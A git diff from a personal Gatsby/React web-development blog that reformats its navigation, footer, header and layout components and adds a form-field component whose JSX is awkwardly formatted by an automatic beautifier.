-        let pageContextProps = this.props.pageContext.pages;
-        let root_page = getPage(pageContextProps, root_docs_path);
+        let page = _.get(this.props, 'page', null);
+        let root_docs_path = _.get(site, 'data.doc_sections.root_docs_path', null);
+        let root_page = getPage(this.props.pageContext.pages, root_docs_path);
         return (
             <nav id="docs-nav" className="docs-nav">
-                <div id="docs-nav-inside" className="docs-nav-inside sticky">
-                    <button id="docs-nav-toggle" className="docs-nav-toggle">
-                        Navigate Docs
-                        <span className="icon-angle-right" aria-hidden="true" />
-                    </button>
-                    <div className="docs-nav-menu">
-                        <ul id="docs-menu" className="docs-menu">
-                            <li
-                                className={classNames('docs-menu-item', {
-                                    current: _.get(page, 'url', null) === _.get(root_page, 'url', null)
-                                })}
-                            >
-                                <Link to={withPrefix(_.get(root_page, 'url', null))}>{_.get(root_page, 'frontmatter.title', null)}</Link>
-                            </li>
-                            {_.map(_.get(site, 'data.doc_sections.sections', null), (section, section_idx) => {
-                                let section_path = pathJoin(root_docs_path, section);
-                                let section_page = getPage(pageContextProps, section_path);
-                                let child_pages = _.orderBy(getPages(pageContextProps, section_path), 'frontmatter.weight');
-                                let child_count = _.size(child_pages);
-                                let has_children = child_count > 0 ? true : false;
-                                let is_current_page = !!(_.get(page, 'url', null) === _.get(section_page, 'url', null));
-                                let is_active = _.get(page, 'url', null).startsWith(_.get(section_page, 'url', null));
-                                return (
-                                    <React.Fragment key={`${section_idx}.1`}>
-                                        <li
-                                            key={section_idx}
-                                            className={classNames('docs-menu-item', {
-                                                'has-children': has_children,
-                                                current: is_current_page,
-                                                active: is_active
-                                            })}
-                                        >
-                                            <Link to={withPrefix(_.get(section_page, 'url', null))}>{_.get(section_page, 'frontmatter.title', null)}</Link>
-                                            {has_children && (
-                                                <React.Fragment>
-                                                    <button className="docs-submenu-toggle">
-                                                        <span className="screen-reader-text">Submenu</span>
-                                                        <span className="icon-angle-right" aria-hidden="true" />
-                                                    </button>
-                                                    <DocsSubmenu {...this.props} child_pages={child_pages} page={page} site={site} />
-                                                </React.Fragment>
-                                            )}
-                                        </li>
-                                    </React.Fragment>
-                                );
-                            })}
-                        </ul>
-                    </div>
+              <div id="docs-nav-inside" className="docs-nav-inside sticky">
+                <button id="docs-nav-toggle" className="docs-nav-toggle">Navigate Docs<span className="icon-angle-right" aria-hidden="true" /></button>
+                <div className="docs-nav-menu">
+                  <ul id="docs-menu" className="docs-menu">
+                    <li className={classNames('docs-menu-item', {'current': _.get(page, 'url', null) === _.get(root_page, 'url', null)})}>
+                      <Link to={withPrefix(_.get(root_page, 'url', null))}>{_.get(root_page, 'frontmatter.title', null)}</Link>
+                    </li>
+                    {_.map(_.get(site, 'data.doc_sections.sections', null), (section, section_idx) => {
+                        let section_path = pathJoin(root_docs_path, section);
+                        let section_page = getPage(this.props.pageContext.pages, section_path);
+                        let child_pages = _.orderBy(getPages(this.props.pageContext.pages, section_path), 'frontmatter.weight');
+                        let child_count = _.size(child_pages);
+                        let has_children = (child_count > 0) ? (true) : false;
+                        let is_current_page = (_.get(page, 'url', null) === _.get(section_page, 'url', null)) ? (true) : false;
+                        let is_active = _.get(page, 'url', null).startsWith(_.get(section_page, 'url', null));
+                        return (<React.Fragment key={section_idx + '.1'}>
+                          <li key={section_idx} className={classNames('docs-menu-item', {'has-children': has_children, 'current': is_current_page, 'active': is_active})}>
+                            <Link to={withPrefix(_.get(section_page, 'url', null))}>{_.get(section_page, 'frontmatter.title', null)}</Link>
+                            {has_children && (<React.Fragment>
+                              <button className="docs-submenu-toggle"><span className="screen-reader-text">Submenu</span><span className="icon-angle-right" aria-hidden="true" /></button>
+                              <DocsSubmenu {...this.props} child_pages={child_pages} page={page} site={site} />
+                            </React.Fragment>)}
+                          </li>
+                        </React.Fragment>)
+                    })}
+                  </ul>
                 </div>
+              </div>
             </nav>
         );
     }
diff --git a/src/components/DocsSubmenu.js b/src/components/DocsSubmenu.js
index 588027df61..7e0414dad3 100644
--- a/src/components/DocsSubmenu.js
+++ b/src/components/DocsSubmenu.js
@@ -1,24 +1,20 @@
-import _ from 'lodash';
+/* This class renders a list of links to child pages of the current page. */
 import React from 'react';
-import { classNames, Link, withPrefix } from '../utils';
+import _ from 'lodash';
+
+import {classNames, Link, withPrefix} from '../utils';
+
 export default class DocsSubmenu extends React.Component {
     render() {
         let child_pages = _.get(this.props, 'child_pages', null);
         let page = _.get(this.props, 'page', null);
         return (
             <ul className="docs-submenu">
-                {_.map(child_pages, (child_page, child_page_idx) => {
-                    return (
-                        <li
-                            key={ child_page_idx }
-                            className={ classNames( 'docs-menu-item', {
-                                current: _.get( page, 'url', null ) === _.get( child_page, 'url', null )
-                            } ) }
-                        >
-                            <Link to={ withPrefix( _.get( child_page, 'url', null ) ) }>{ _.get( child_page, 'frontmatter.title', null ) }</Link>
-                        </li>
-                    );
-                })}
+              {_.map(child_pages, (child_page, child_page_idx) => (
+                <li key={child_page_idx} className={classNames('docs-menu-item', {'current': _.get(page, 'url', null) === _.get(child_page, 'url', null)})}>
+                  <Link to={withPrefix(_.get(child_page, 'url', null))}>{_.get(child_page, 'frontmatter.title', null)}</Link>
+                </li>
+              ))}
             </ul>
         );
     }
diff --git a/src/components/Footer.js b/src/components/Footer.js
index f871fe2a1c..bfa89e033e 100644
--- a/src/components/Footer.js
+++ b/src/components/Footer.js
@@ -1,3 +1,5 @@
+/* It creates a footer for the website. */
+
 import _ from 'lodash';
 import React from 'react';
 import { htmlToReact } from '../utils';
@@ -7,132 +9,85 @@ export default class Footer extends React.Component {
         return (
             <footer id="colophon" className="site-footer outer">
                 <div>
-                    <center>
-                        <br />
-                        <br />
-                        <table cellPadding={0} cellSpacing={0} border={0}>
-                            <tbody>
-                                <tr>
-                                    <td
+                    <table cellPadding={0} cellSpacing={0} border={0}>
+                        <tbody>
+                            <tr>
+                                <td
+                                    style={{
+                                        fontFamily: 'Arial, Helvetica, sans-serif',
+                                        fontSize: '7.5pt'
+                                    }}
+                                >
+                                    <table
+                                        width="95%"
+                                        cellPadding={0}
+                                        cellSpacing={0}
+                                        border={0}
                                         style={{
                                             fontFamily: 'Arial, Helvetica, sans-serif',
                                             fontSize: '7.5pt'
                                         }}
                                     >
-                                        <center>
-                                            <table
-                                                width="95%"
-                                                cellPadding={0}
-                                                cellSpacing={0}
-                                                border={0}
-                                                style={{
-                                                    fontFamily: 'Arial, Helvetica, sans-serif',
-                                                    fontSize: '7.5pt'
-                                                }}
-                                            >
-                                                <tbody>
-                                                    <tr>
-                                                        <td
-                                                            style={{
-                                                                fontFamily: 'Arial, Helvetica, sans-serif',
-                                                                fontSize: '7.5pt'
-                                                            }}
-                                                            align="left"
-                                                        >
-                                                            <a target="_blank" href="https://search.freefind.com/siteindex.html?si=14588965">
-                                                                index
-                                                            </a>
-                                                        </td>
-                                                        <td
-                                                            style={{
-                                                                fontFamily: 'Arial, Helvetica, sans-serif',
-                                                                fontSize: '7.5pt'
-                                                            }}
-                                                            align="center"
-                                                        >
-                                                            <a target="_blank" href="https://search.freefind.com/find.html?si=14588965&m=0&p=0">
-                                                                sitemap
-                                                            </a>
-                                                        </td>
-                                                        <td
-                                                            style={{
-                                                                fontFamily: 'Arial, Helvetica, sans-serif',
-                                                                fontSize: '7.5pt'
-                                                            }}
-                                                            align="right"
-                                                        >
-                                                            <a target="_blank" href="https://search.freefind.com/find.html?si=14588965&pid=a">
-                                                                advanced
-                                                            </a>
-                                                        </td>
-                                                    </tr>
-                                                </tbody>
-                                            </table>
-                                        </center>
-                                        <form
-                                            style={{
-                                                margin: '0px',
-                                                marginTop: '2px'
-                                            }}
-                                            action="https://search.freefind.com/find.html"
-                                            method="get"
-                                            acceptCharset="utf-8"
-                                            target="_self"
-                                        >
-                                            <input type="hidden" name="si" defaultValue={14588965} />
-                                            <input type="hidden" name="pid" defaultValue="r" />
-                                            <input type="hidden" name="n" defaultValue={0} />
-                                            <input type="hidden" name="_charset_" defaultValue />
-                                            <input type="hidden" name="bcd" defaultValue="÷" />
-                                            <input type="text" name="query" size={15} />
-                                            <input type="submit" defaultValue="search" />
-                                        </form>
-                                    </td>
-                                </tr>
-                                <tr>
-                                    <td
+                                        <tbody>
+                                            <tr>
+                                                <td
+                                                    style={{
+                                                        fontFamily: 'Arial, Helvetica, sans-serif',
+                                                        fontSize: '7.5pt'
+                                                    }}
+                                                    align="left"
+                                                >
+                                                    <a target="_blank" href="https://search.freefind.com/siteindex.html?si=14588965">
+                                                        index
+                                                    </a>
+                                                </td>
+                                                <td
+                                                    style={{
+                                                        fontFamily: 'Arial, Helvetica, sans-serif',
+                                                        fontSize: '7.5pt'
+                                                    }}
+                                                    align="center"
+                                                >
+                                                    <a target="_blank" href="https://search.freefind.com/find.html?si=14588965&m=0&p=0">
+                                                        sitemap
+                                                    </a>
+                                                </td>
+                                            </tr>
+                                        </tbody>
+                                    </table>
+                                    <form
                                         style={{
-                                            textAlign: 'center',
-                                            fontFamily: 'Arial, Helvetica, sans-serif',
-                                            fontSize: '7.5pt',
-                                            paddingTop: '4px'
+                                            margin: 'auto',
+                                            marginTop: '1px'
                                         }}
+                                        action="https://search.freefind.com/find.html"
+                                        method="get"
+                                        acceptCharset="utf-8"
+                                        target="_self"
                                     >
-                                        <a
-                                            style={{
-                                                textDecoration: 'none',
-                                                color: 'transparent'
-                                            }}
-                                            href="https://www.freefind.com"
-                                            rel="nofollow"
-                                        >
-                                            search engine
-                                        </a>
-                                        <a
-                                            style={{
-                                                textDecoration: 'none',
-                                                color: 'transparent'
-                                            }}
-                                            href="https://www.freefind.com"
-                                            rel="nofollow"
-                                        >
-                                            by
-                                            <span style={{ color: 'transparent' }}>freefind</span>
-                                        </a>
-                                    </td>
-                                </tr>
-                            </tbody>
-                        </table>
-                        <a href="//pdfcrowd.com/url_to_pdf/?" onclick="if(!this.p)href+='&url='+encodeURIComponent(location.href);this.p=1">
-                            Save to PDF
-                        </a>
-                    </center>
-                    <a aria-current="page" className="site-logo" href="/">
-                        <img
-                            src="https://d33wubrfki0l68.cloudfront.net/e5662f0d4f3e7730aea1a0faf7ff09ea20184700/6ca0b/images/dgqlkqjtmk.png"
-                            alt="webdevhub logo"
-                        />
-                    </a>
+                                        <input type="hidden" name="si" defaultValue={14588965} />
+                                        <input type="hidden" name="pid" defaultValue="r" />
+                                        <input type="hidden" name="n" defaultValue={0} />
+                                        <input type="hidden" name="_charset_" defaultValue />
+                                        <input type="hidden" name="bcd" defaultValue="÷" />
+                                        <input type="text" name="query" size={15} />
+                                        <input type="submit" defaultValue="search" />
+                                    </form>
+                                </td>
+                            </tr>
+                            <tr>
+                                <td
+                                    style={{
+                                        textAlign: 'center',
+                                        fontFamily: 'Arial, Helvetica, sans-serif',
+                                        fontSize: '8 pt',
+                                        paddingTop: '2px'
+                                    }}
+                                ></td>
+                            </tr>
+                        </tbody>
+                    </table>
+                    {/* <a href="https://pdfcrowd.com/url_to_pdf/?" onclick={`${!this.p ? (href += '&url=' + encodeURIComponent(location.href)) : (this.p = 1)}`}>  Save to PDF </a> */}
                 </div>
                 <div className="inner">
                     <div id="search" className="inner"></div>
@@ -142,16 +97,16 @@ export default class Footer extends React.Component {
                                 <span className="copyright">{htmlToReact(_.get(this.props, 'pageContext.site.siteMetadata.footer.content', null))}</span>
                             )}
                             {_.map(_.get(this.props, 'pageContext.site.siteMetadata.footer.links', null), (action, action_idx) => (
-                                <ActionLink key={action_idx} {...this.props} action={action} />
-                            ))}{' '}
+                                <ActionLink key={action_idx} {...this.props} action={action}></ActionLink>
+                            ))}
                         </p>
                         {_.get(this.props, 'pageContext.site.siteMetadata.footer.has_social', null) && (
                             <div className="social-links">
-                                {_.map(_.get(this.props, 'pageContext.site.siteMetadata.footer.social_links', null), (action, action_idx) => (
-                                    <ActionLink key={action_idx} {...this.props} action={action} />
-                                ))}{' '}
+                                {_.map(_.get(this.props, 'pageContext.site.siteMetadata.footer.social_links', null), (action, action_idx) => {
+                                    return <ActionLink key={action_idx} {...this.props} action={action} />;
+                                })}
                             </div>
-                        )}{' '}
+                        )}
                     </div>
                 </div>
             </footer>
diff --git a/src/components/FormField.js b/src/components/FormField.js
new file mode 100644
index 0000000000..315411bf48
--- /dev/null
+++ b/src/components/FormField.js
@@ -0,0 +1,134 @@
+/* It's a React component that renders a form field based on the props passed to it */
+/* It's a React component that renders a form field based on the props passed to it. */
+import _ from 'lodash';
+import React from 'react';
+
+export default class FormField extends React.Component {
+        render() {
+                const field = _.get(this.props, 'field');
+                const inputType = _.get(field, 'input_type');
+                const name = _.get(field, 'name');
+                const defaultValue = _.get(field, 'default_value');
+                const options = _.get(field, 'options');
+                const required = _.get(field, 'is_required');
+                const label = _.get(field, 'label');
+                const labelId = `${name}-label`;
+                const attr = {};
+                if (label) {
+                    attr['aria-labelledby'] = labelId;
+                }
+                if (required) {
+                    attr.required = true;
+                }
+
+                switch (inputType) {
+                    case 'checkbox':
+                        return ( <
+                                div className = "form-group form-checkbox" >
+                                <
+                                input type = "checkbox"
+                                id = {
+                                    name
+                                }
+                                name = {
+                                    name
+                                } {
+                                    ...attr
+                                }
+                                /> {
+                                    label && < label htmlFor = {
+                                            name
+                                        } > {
+                                            label
+                                        } < /label>} <
+                                        /div>
+                                );
+                                case 'select':
+                                return ( <
+                                        div className = "form-group" > {
+                                            label && < label htmlFor = {
+                                                name
+                                            } > {
+                                                label
+                                            } < /label>} <
+                                            div className = "form-select-wrap" >
+                                            <
+                                            select id = {
+                                                name
+                                            }
+                                            name = {
+                                                name
+                                            } {
+                                                ...attr
+                                            } > {
+                                                defaultValue && < option value = "" > {
+                                                    defaultValue
+                                                } < /option>} {
+                                                    _.map(options, (option, index) => ( <
+                                                        option key = {
+                                                            index
+                                                        }
+                                                        value = {
+                                                            option
+                                                        } > {
+                                                            option
+                                                        } <
+                                                        /option>
+                                                    ))
+                                                } <
+                                                /select> <
+                                                /div> <
+                                                /div>
+                                            );
+                                            case 'textarea': return ( <
+                                                div className = "form-group" > {
+                                                    label && < label htmlFor = {
+                                                        name
+                                                    } > {
+                                                        label
+                                                    } < /label>} <
+                                                    textarea name = {
+                                                        name
+                                                    }
+                                                    id = {
+                                                        name
+                                                    }
+                                                    rows = "7" {
+                                                        ...(defaultValue ? {
+                                                            placeholder: defaultValue
+                                                        } : null)
+                                                    } {
+                                                        ...attr
+                                                    }
+                                                    /> <
+                                                    /div>
+                                                );
+                                                default:
+                                                return ( <
+                                                    div className = "form-group" > {
+                                                        label && < label htmlFor = {
+                                                            name
+                                                        } > {
+                                                            label
+                                                        } < /label>} <
+                                                        input type = {
+                                                            inputType
+                                                        }
+                                                        name = {
+                                                            name
+                                                        }
+                                                        id = {
+                                                            name
+                                                        } {
+                                                            ...(defaultValue ? {
+                                                                placeholder: defaultValue
+                                                            } : null)
+                                                        } {
+                                                            ...attr
+                                                        }
+                                                        /> <
+                                                        /div>
+                                                    );
+                                                }
+                                            }
+                                        }
\ No newline at end of file
diff --git a/src/components/Header.js b/src/components/Header.js
index 960044c2c0..64369ff322 100644
--- a/src/components/Header.js
+++ b/src/components/Header.js
@@ -1,102 +1,116 @@
+/* It's a header component that renders a logo, a navbar, and a search bar. */
 import _ from 'lodash';
 import React from 'react';
-import { classNames, Link, withPrefix } from '../utils';
+import {classNames, Link, withPrefix} from '../utils';
 import ActionLink from './ActionLink';
 import Submenu from './Submenu';
 export default class Header extends React.Component {
     render() {
         return (
             <header id="masthead" className="site-header outer">
-                <br />
+                <br/>
                 <div className="inner">
                     <div className="site-header-inside">
                         <div className="site-branding">
-                            { _.get( this.props, 'pageContext.site.siteMetadata.header.logo_img', null ) ? (
+                            {
+                            _.get(this.props, 'pageContext.site.siteMetadata.header.logo_img', null) ? (
                                 <p className="site-logo">
-                                    <Link to={ withPrefix( _.get( this.props, 'pageContext.site.siteMetadata.header.url', null ) || '/' ) }>
-                                        <img
-                                            src={ withPrefix( _.get( this.props, 'pageContext.site.siteMetadata.header.logo_img', null ) ) }
-                                            alt={ _.get( this.props, 'pageContext.site.siteMetadata.header.logo_img_alt', null ) }
-                                        />
+                                    <Link to={
+                                        withPrefix(_.get(this.props, 'pageContext.site.siteMetadata.header.url', null) || '/')
+                                    }>
+                                        <img src={
+                                                withPrefix(_.get(this.props, 'pageContext.site.siteMetadata.header.logo_img', null))
+                                            }
+                                            alt={
+                                                _.get(this.props, 'pageContext.site.siteMetadata.header.logo_img_alt', null)
+                                            }/>
                                     </Link>
                                 </p>
                             ) : (
                                 <p className="site-logo">
-                                    <Link to={ withPrefix( _.get( this.props, 'pageContext.site.siteMetadata.header.url', null ) || '/' ) }>
-                                        { _.get( this.props, 'pageContext.site.siteMetadata.header.title', null ) }
-                                    </Link>
+                                    <Link to={
+                                        withPrefix(_.get(this.props, 'pageContext.site.siteMetadata.header.url', null) || '/')
+                                    }>
+                                        {
+                                        _.get(this.props, 'pageContext.site.siteMetadata.header.title', null)
+                                    } </Link>
                                 </p>
-                            ) }
-                        </div>
-                        { _.get( this.props, 'pageContext.site.siteMetadata.header.has_nav', null ) && (
+                            )
+                        } </div>
+                        {
+                        _.get(this.props, 'pageContext.site.siteMetadata.header.has_nav', null) && (
                             <React.Fragment>
                                 <nav id="main-navigation" className="site-navigation" aria-label="Main Navigation">
                                     <div className="site-nav-inside">
                                         <button id="menu-close" className="menu-toggle">
                                             <span className="screen-reader-text">Open Menu</span>
-                                            <span className="icon-close" aria-hidden="true" />
+                                            <span className="icon-close" aria-hidden="true"/>
                                         </button>
                                         <ul className="menu">
-                                            { _.map( _.get( this.props, 'pageContext.site.siteMetadata.header.nav_links', null ), ( action, action_idx ) => {
-                                                let page_url = _.trim( _.get( this.props, 'pageContext.url', null ), '/' );
-                                                let action_url = _.trim( _.get( action, 'url', null ), '/' );
+                                            {
+                                            _.map(_.get(this.props, 'pageContext.site.siteMetadata.header.nav_links', null), (action, action_idx) => {
+                                                let page_url = _.trim(_.get(this.props, 'pageContext.url', null), '/');
+                                                let action_url = _.trim(_.get(action, 'url', null), '/');
                                                 return (
-                                                    <li
-                                                        key={ action_idx }
-                                                        className={ classNames( 'menu-item', {
-                                                            'has-children': _.get( action, 'has_subnav', null ) && _.get( action, 'subnav_links', null ),
-                                                            current: page_url === action_url,
-                                                            'menu-button': _.get( action, 'style', null ) !== 'link'
-                                                        } ) }
-                                                    >
-                                                        <ActionLink { ...this.props } action={ action } />
-                                                        { _.get( action, 'has_subnav', null ) && _.get( action, 'subnav_links', null ) && (
+                                                    <li key={action_idx}
+                                                        className={
+                                                            classNames('menu-item', {
+                                                                'has-children': _.get(action, 'has_subnav', null) && _.get(action, 'subnav_links', null),
+                                                                current: page_url === action_url,
+                                                                'menu-button': _.get(action, 'style', null) !== 'link'
+                                                            })
+                                                    }>
+                                                        <ActionLink { ...this.props }
+                                                            action={action}/> {
+                                                        _.get(action, 'has_subnav', null) && _.get(action, 'subnav_links', null) && (
                                                             <React.Fragment>
                                                                 <button className="submenu-toggle">
-                                                                    <span className="icon-angle-right" aria-hidden="true" />
+                                                                    <span className="icon-angle-right" aria-hidden="true"/>
                                                                     <span className="screen-reader-text">Sub-menu</span>
                                                                 </button>
-                                                                <Submenu
-                                                                    { ...this.props }
-                                                                    submenu={ _.get( action, 'subnav_links', null ) }
-                                                                    menu_class={ 'submenu' }
-                                                                    page={ this.props.pageContext }
-                                                                />
+                                                                <Submenu { ...this.props }
+                                                                    submenu={
+                                                                        _.get(action, 'subnav_links', null)
+                                                                    }
+                                                                    menu_class={'submenu'}
+                                                                    page={
+                                                                        this.props.pageContext
+                                                                    }/>
                                                             </React.Fragment>
-                                                        ) }
-                                                    </li>
+                                                        )
+                                                    } </li>
                                                 );
-                                            } ) }
-                                        </ul>
+                                            })
+                                        } </ul>
                                     </div>
                                 </nav>
                                 <button id="menu-open" className="menu-toggle">
                                     <span className="screen-reader-text">Close Menu</span>
-                                    <span className="icon-menu" aria-hidden="true" />
+                                    <span className="icon-menu" aria-hidden="true"/>
                                 </button>
                             </React.Fragment>
-                        ) }
-                    </div>
+                        )
+                    } </div>
                 </div>
-                <div>
-                    <>
-<div id="sb-search-example">
-    <div className="sb-search-icon" id="myCustomSearchButtonID">
-        <i className="sb-icon"></i>
-        <p>Search</p>
-    </div>
-    <style dangerouslySetInnerHTML={{__html: "\n\t\t@font-face {\n font-family: font-sb;\n src: url(https://api.searchbar.org/fonts/sb.eot?39450784);\n src: url(https://api.searchbar.org/fonts/sb.eot?39450784#iefix) format('embedded-opentype'), url(https://api.searchbar.org/fonts/sb.woff?39450784) format('woff'), url(https://api.searchbar.org/fonts/?39450784) format('truetype'), url(https://api.searchbar.org/fonts/sb.svg?39450784#font-sb) format('svg');\n font-weight: 400;\n font-style: normal\n }\n\n #sb-search-example p {\n font-family: sans-serif;\n font-size: 18px;\n line-height: 12px;\n\t margin: 0;\n }\n\n #sb-search-example {\n position: static;\n top: 0;\n width: auto;\n place-content: center;\n display: inline-block;\n box-shadow: 0px 2px 4px rgba(190, 190, 190, 0.5);\n border: solid 5px white;\n border-radius: 100px;\n flex-shrink: initial;\n flex-grow: initial;\n }\n\n\n #sb-search-example .sb-icon {\n font: normal normal 400 26px font-sb;\n align-items: center;\n padding: 10px;\n speak: none;\n display: inline-block;\n text-decoration: inherit;\n text-align: center;\n text-transform: none;\n cursor: pointer;\n margin: 0;\n }\n\n #sb-search-example .sb-search-icon {\n box-sizing: border-box;\n border: 0px;\n align-items: center;\n background: #007cff;\n color: #fff;\n cursor: pointer;\n display: flex;\n border-radius: 26px;\n padding: 0 20px 0 4px;\n }\n\t" }}/>
-</div>
-
-                    </>
+                <>
+                    <div id="sb-search-example">
+                        <div className="sb-search-icon" id="myCustomSearchButtonID">
+                            <i className="sb-icon"></i>
+                            <p>Search</p>
+                        </div>
+                        <style dangerouslySetInnerHTML={
+                            {__html: "\n\t\t@font-face {\n            font-family: font-sb;\n            src: url(https://api.searchbar.org/fonts/sb.eot?39450784);\n            src: url(https://api.searchbar.org/fonts/sb.eot?39450784#iefix) format('embedded-opentype'), url(https://api.searchbar.org/fonts/sb.woff?39450784) format('woff'), url(https://api.searchbar.org/fonts/?39450784) format('truetype'), url(https://api.searchbar.org/fonts/sb.svg?39450784#font-sb) format('svg');\n            font-weight: 400;\n            font-style: normal\n        }\n\n        #sb-search-example p {\n            font-family: sans-serif;\n            font-size: 18px;\n            line-height: 12px;\n\t        margin: 0;\n        }\n\n        #sb-search-example {\n            position: static;\n            top: 0;\n            width: auto;\n            place-content: center;\n            display: inline-block;\n            box-shadow: 0px 2px 4px rgba(190, 190, 190, 0.5);\n            border: solid 5px white;\n            border-radius: 100px;\n            flex-shrink: initial;\n            flex-grow: initial;\n        }\n\n\n        #sb-search-example .sb-icon {\n            font: normal normal 400 26px font-sb;\n            align-items: center;\n            padding: 10px;\n            speak: none;\n            display: inline-block;\n            text-decoration: inherit;\n            text-align: center;\n            text-transform: none;\n            cursor: pointer;\n            margin: 0;\n        }\n\n        #sb-search-example .sb-search-icon {\n            box-sizing: border-box;\n            border: 0px;\n            align-items: center;\n            background: #007cff;\n            color: #fff;\n            cursor: pointer;\n            display: flex;\n            border-radius: 26px;\n            padding: 0 20px 0 4px;\n        }\n\t"}
+                        }/>
+                    </div>
+                </>
 
-                    <a className="github-corner" href="https://github.com/bgoonz/BGOONZ_BLOG_2.0" aria-label="View source on Github">
-                        <svg
-                            aria-hidden="true"
-                            width={ 30 }
-                            height={ 30 }
-                            viewBox="0 0 250 250"
-                            style={ {
+                <a className="github-corner" href="https://github.com/bgoonz/BGOONZ_BLOG_2.0" aria-label="View source on Github">
+                    <svg aria-hidden="true"
+                        width={30}
+                        height={30}
+                        viewBox="0 0 250 250"
+                        style={
+                            {
                                 zIndex: 100000,
                                 fill: 'black',
                                 color: '#fff',
@@ -105,23 +119,18 @@ export default class Header extends React.Component {
                                 border: 1,
                                 left: '0px',
                                 transform: 'scale(-1.5, 1.5)'
-                            } }
-                        >
-                            <path d="M0,0 L115,115 L130,115 L142,142 L250,250 L250,0 Z"></path>
-                            <path
-                                className="octo-arm"
-                                d="M128.3,109.0 C113.8,99.7 119.0,89.6 119.0,89.6 C122.0,82.7 120.5,78.6 120.5,78.6 C119.2,72.0 123.4,76.3 123.4,76.3 C127.3,80.9 125.5,87.3 125.5,87.3 C122.9,97.6 130.6,101.9 134.4,103.2"
-                                fill="currentColor"
-                                style={ { transformOrigin: '130px 106px' } }
-                            ></path>
-                            <path
-                                className="octo-body"
-                                d="M115.0,115.0 C114.9,115.1 118.7,116.5 119.8,115.4 L133.7,101.6 C136.9,99.2 139.9,98.4 142.2,98.6 C133.8,88.0 127.5,74.4 143.8,58.0 C148.5,53.4 154.0,51.2 159.7,51.0 C160.3,49.4 163.2,43.6 171.4,40.1 C171.4,40.1 176.1,42.5 178.8,56.2 C183.1,58.6 187.2,61.8 190.9,65.4 C194.5,69.0 197.7,73.2 200.1,77.6 C213.8,80.2 216.3,84.9 216.3,84.9 C212.7,93.1 206.9,96.0 205.4,96.6 C205.1,102.4 203.0,107.8 198.3,112.5 C181.9,128.9 168.3,122.5 157.7,114.1 C157.9,116.9 156.7,120.9 152.7,124.9 L141.0,136.5 C139.8,137.7 141.6,141.9 141.8,141.8 Z"
-                                fill="currentColor"
-                            ></path>
-                        </svg>
-                    </a>
-                </div>
+                            }
+                    }>
+                        <path d="M0,0 L115,115 L130,115 L142,142 L250,250 L250,0 Z"></path>
+                        <path className={"octo-arm"}
+                            d="M128.3,109.0 C113.8,99.7 119.0,89.6 119.0,89.6 C122.0,82.7 120.5,78.6 120.5,78.6 C119.2,72.0 123.4,76.3 123.4,76.3 C127.3,80.9 125.5,87.3 125.5,87.3 C122.9,97.6 130.6,101.9 134.4,103.2"
+                            fill="currentColor"
+                            style={
+                                {transformOrigin: '130px 106px'}
+                        }></path>
+                        <path className="octo-body" d="M115.0,115.0 C114.9,115.1 118.7,116.5 119.8,115.4 L133.7,101.6 C136.9,99.2 139.9,98.4 142.2,98.6 C133.8,88.0 127.5,74.4 143.8,58.0 C148.5,53.4 154.0,51.2 159.7,51.0 C160.3,49.4 163.2,43.6 171.4,40.1 C171.4,40.1 176.1,42.5 178.8,56.2 C183.1,58.6 187.2,61.8 190.9,65.4 C194.5,69.0 197.7,73.2 200.1,77.6 C213.8,80.2 216.3,84.9 216.3,84.9 C212.7,93.1 206.9,96.0 205.4,96.6 C205.1,102.4 203.0,107.8 198.3,112.5 C181.9,128.9 168.3,122.5 157.7,114.1 C157.9,116.9 156.7,120.9 152.7,124.9 L141.0,136.5 C139.8,137.7 141.6,141.9 141.8,141.8 Z" fill="currentColor"></path>
+                    </svg>
+                </a>
             </header>
         );
     }
diff --git a/src/components/Icon.js b/src/components/Icon.js
index 70d8d63309..679b266df9 100644
--- a/src/components/Icon.js
+++ b/src/components/Icon.js
@@ -1,5 +1,6 @@
 import _ from 'lodash';
 import React from 'react';
+
 export default class Icon extends React.Component {
     render() {
         let icon = _.get(this.props, 'icon', null);
diff --git a/src/components/Layout.js b/src/components/Layout.js
index 1d22155b1f..67e442d249 100644
--- a/src/components/Layout.js
+++ b/src/components/Layout.js
@@ -1,87 +1,101 @@
-import _ from 'lodash';
-import React from 'react';
-import { Helmet } from 'react-helmet';
-import '../sass/main.scss';
-import { attribute, withPrefix } from '../utils';
-import Footer from './Footer';
-import Header from './Header';
+/* The Body class is a React component that renders the page's body */
+import _ from "lodash";
+import React from "react";
+import { Helmet } from "react-helmet";
+import "../sass/main.scss";
+import { attribute, withPrefix } from "../utils";
+import Footer from "./Footer";
+import Header from "./Header";
 export default class Body extends React.Component {
     render() {
         return (
             <React.Fragment>
                 <Helmet>
-                    <title>
-                        {_.get(this.props, 'pageContext.frontmatter.seo.title', null)
-                            ? _.get(this.props, 'pageContext.frontmatter.seo.title', null)
-                            : _.get(this.props, 'pageContext.frontmatter.title', null) + ' | ' + _.get(this.props, 'pageContext.site.siteMetadata.title', null)}
-                    </title>
-                    <meta charSet="utf-8" />
-                    <meta name="viewport" content="width=device-width, initialScale=1.0" />
-                    <meta name="google-site-verification" content="q5W83EYchlVTyA-iYRE4ElQGcbD_vukQF0NKW12N3qU" />
-                    <meta charset="UTF-8" />
-                    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
-                    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
-                    <link rel="apple-touch-icon" href="logo-circle.png" />
-                    <meta name="viewport" content="width=device-width, initial-scale=1" />
-                    <meta http-equiv="Content-Type" content="HTML" />
-                    <meta name="Author" content="Bryan Guner" />
-                    <meta name="keywords" content="HTML, Meta Tags, Metadata" />
-                    <meta http-equiv="Content-Type" content="text/html; charset=us-ascii" />
-                    <meta name="viewport" content="width=device-width, initial-scale=1.0, shrink-to-fit=no" />
-                    <meta name="twitter:card" content="summary" />
-                    <meta name="twitter:site" content="@bgoonz" />
-                    <meta name="twitter:creator" content="@bgoonz" />
-                    <meta name="twitter:image:src" content="/logo-circle.png" />
-                    <meta name="twitter:title" content="Web Development Resource Hub Bryan Guner" />
-                    <meta property="twitter:card" content="summary_large_image" />
-                    <link
-                        href="https://instructure-uploads-pdx.s3.us-west-2.amazonaws.com/account_168550000000000001/attachments/537/logo-canvas.png"
-                        rel="apple-touch-icon"
-                    />
-                    <link type="text/css" href="https://fonts.googleapis.com/css?family=Raleway:200,100,400" rel="stylesheet" />
-                    <link rel="shortcut icon" href="/favicon.ico" type="image/x-icon" />
-                    <link rel="apple-touch-icon" href="/apple-touch-icon.png" />
-                    <link rel="apple-touch-icon" sizes="57x57" href="/apple-touch-icon-57x57.png" />
-                    <link rel="apple-touch-icon" sizes="72x72" href="/apple-touch-icon-72x72.png" />
-                    <link rel="apple-touch-icon" sizes="76x76" href="/apple-touch-icon-76x76.png" />
